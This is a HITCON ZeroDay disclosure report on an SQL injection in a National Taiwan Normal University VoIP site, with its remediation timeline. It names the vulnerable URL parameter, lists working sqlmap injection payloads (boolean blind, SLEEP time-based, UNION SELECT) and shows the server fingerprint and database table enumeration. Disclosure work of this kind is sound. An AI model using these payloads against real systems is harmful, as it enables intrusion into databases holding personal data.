国立台湾师范大学某站SQL

Vulnerability Overview

ZDID: ZD-2018-00336
發信 Vendor: 國立臺灣師範大學
Title: 国立台湾师范大学某站SQL
Introduction: 国立台湾师范大学网络电话服务平台SQL

感謝函

處理狀態

目前狀態

公開

Last Update : 2018/05/11

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2018/04/01 01:03:27 : 新提交 (由 Cra5h 更新此狀態)
2018/04/01 15:40:02 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/04/02 11:58:14 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/04/02 11:58:15 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/04/02 11:58:15 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/04/11 10:48:33 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2018/04/19 22:52:05 : 未修補完成 (由 Cra5h 更新此狀態)
2018/04/23 09:44:34 : 複測申請中 (由組織帳號更新此狀態)
2018/05/11 03:00:25 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2018-00336
通報者：cra5h (Cra5h)
風險：高
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

国立台湾师范大学网络电话服务平台SQL
SQL位置：
http://voip.ntnu.edu.tw/new_view.php?id=3
id参数过滤不严导致SQL产生
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 5627=5627

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=3 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: id=3 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a7a7871,0x48686e7572596d48775063526262476f5746585772646c4f7059494d6b7571665261744972784d45,0x7170787171),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kUYh

[00:50:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.12
[00:50:38] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\voip.ntnu.edu.tw'

确认影响库：（3个）
[00:50:52] [INFO] fetching database names
available databases [3]:
[] information_schema
[] service
[*] test

[00:50:52] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\voip.ntnu.edu.tw'

确认网站所属库：（service）

查看数据量：
[00:51:51] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[00:51:51] [INFO] fetching database names
[00:51:51] [INFO] fetching tables for databases: 'information_schema, service, test'
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 580 |
| GLOBAL_STATUS | 291 |
| SESSION_STATUS | 291 |
| GLOBAL_VARIABLES | 277 |
| SESSION_VARIABLES | 277 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130 |
| COLLATIONS | 129 |
| STATISTICS | 69 |
| PARTITIONS | 63 |
| TABLES | 63 |
| KEY_COLUMN_USAGE | 44 |
| TABLE_CONSTRAINTS | 37 |
| CHARACTER_SETS | 36 |
| PLUGINS | 7 |
| ENGINES | 5 |
| SCHEMA_PRIVILEGES | 4 |
| SCHEMATA | 3 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

Database: service
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| phonelink | 9000 |
| sysLog | 6798 |
| phonebook | 4247 |
| phonebook_tmp | 4209 |
| phonebook_20170310 | 4201 |
| phonebook_20170407_xxx | 4201 |
| phonebook_20160909 | 4165 |
| apply_type_3_data | 2033 |
| apply_phone_re | 1137 |
| helpdesk_re | 1043 |
| apply_phone | 945 |
| helpdesk | 471 |
| apply_type_1_data | 238 |
| apply_type_2_data | 188 |
| logMsg | 50 |
| sysSetting | 24 |
| apply_type_5_data | 21 |
| apply_type | 10 |
| user | 8 |
| apply_state | 8 |
| apply_type_4_data | 8 |
| sysSetting_20160817 | 8 |
| helpdesk_state | 5 |
| helpdesk_state_20160817 | 5 |
| news_20160805 | 5 |
| notify_type | 5 |
| apply_cost | 4 |
| school | 4 |
| apply_type_6_data | 3 |
| downfile | 3 |
| news | 2 |
| apply_cost_2 | 1 |
| helpdesk_statistic | 1 |
| serverLocalInfo | 1 |
+---------------------------------------+---------+

[00:52:04] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\voip.ntnu.edu.tw'

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

国立台湾师范大学某站SQL - HITCON ZeroDay

Vulnerability Detail Report